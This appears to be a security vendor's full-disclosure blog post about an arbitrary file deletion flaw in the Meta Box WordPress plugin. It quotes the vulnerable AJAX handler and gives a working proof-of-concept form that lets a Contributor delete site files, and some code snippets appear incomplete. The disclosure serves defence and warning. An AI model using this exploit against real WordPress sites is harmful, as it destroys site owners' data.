01 Feb

Full Disclosure of Authenticated Arbitrary File Deletion Vulnerability in WordPress Plugin with 300,000+ Installs

Yesterday we full disclosed an authenticated arbitrary file upload vulnerability in the WordPress plugin Meta Box, which has 300,000+, that we had spotted as it was introduced in to the plugin. Subsequent to that the plugin was closed on the Plugin Directory and that got flagged as part of our monitoring for the closure of any of the 1,000 most popular WordPress plugins (it has been a busy week for that, as six of them have been removed). When those plugins get closed we do a few quick security checks over the plugins to see if there might be any obvious security issue in the plugins, which we should be warning our customers about, even if that didn’t lead to the closure. In this case we knew why the plugin was closed, but we did those checks anyway, which led to us finding the plugin also contains an authenticated arbitrary file deletion vulnerability. That vulnerability looks like it was connected to the change that also introduced the authenticated arbitrary file upload vulnerability.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin registers the function ajax_delete_file() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

add_action( 'wp_ajax_rwmb_delete_file', array( __CLASS__, 'ajax_delete_file' ) );

The relevant code in the function, which is located /inc/fields/file.php, is as follows in the latest version of the plugin:

public static function ajax_delete_file() {
	$field_id = filter_input( INPUT_POST, 'field_id', FILTER_SANITIZE_STRING );
	check_ajax_referer( "rwmb-delete-file_{$field_id}" );
	$attachment = filter_input( INPUT_POST, 'attachment_id' );
	if ( is_numeric( $attachment ) ) {
		$result = wp_delete_attachment( $attachment );
	} else {
		$path = str_replace( home_url( '/' ), ABSPATH . '/', $attachment );
		$result = unlink( $path );

That will check for a valid nonce to prevent cross-site request forgery (CSRF) and then will delete an arbitrary file if the POST input “attachment_id” specifies a value like “http://example.com/test.txt”.

The value for a valid nonce can normally be accessed by users with the Contributor role or above if the File meta box is being used, as can been seen with the Proof of Concept below.

Oddly, the AJAX deletion functionality doesn’t appear to even being used.

Proof of Concept

Add the following code to the active theme’s functions.php:

function your_prefix_get_meta_box( $meta_boxes ) {
	$prefix = 'prefix-';
	$meta_boxes[] = array(
		'id' => 'untitled',
		'title' => esc_html__( 'Untitled Metabox', 'metabox-online-generator' ),
		'post_types' => array('post', 'page' ),
		'context' => 'advanced',
		'priority' => 'default',
		'autosave' => 'false',
		'fields' => array(
				'id' => $prefix . 'file_1',
				'type' => 'file',
				'name' => esc_html__( 'File', 'metabox-online-generator' ),
				'mime_type' => '',
	return $meta_boxes;
add_filter( 'rwmb_meta_boxes', 'your_prefix_get_meta_box' );

Then the following proof of concept will delete the file test.txt in the root directory of the website, when logged in as a Contributor.

Make sure to replace “[path to WordPress]” with the location of WordPress, “[field ID]” with the value of the “data-field_id” on the page to create a new post, and “[nonce]” with the value of “data-force_delete” on the same page.

<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=rwmb_delete_file" method="POST" >
<input type="hidden" name="field_id" value="[field ID]" />
<input type="hidden" name="_ajax_nonce" value="[nonce]" />
<input type="hidden" name="attachment_id" value="http://[path to WordPress]/test.txt" />
<input type="submit" value="Submit" />

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.

Leave a Reply

Your email address will not be published. Required fields are marked *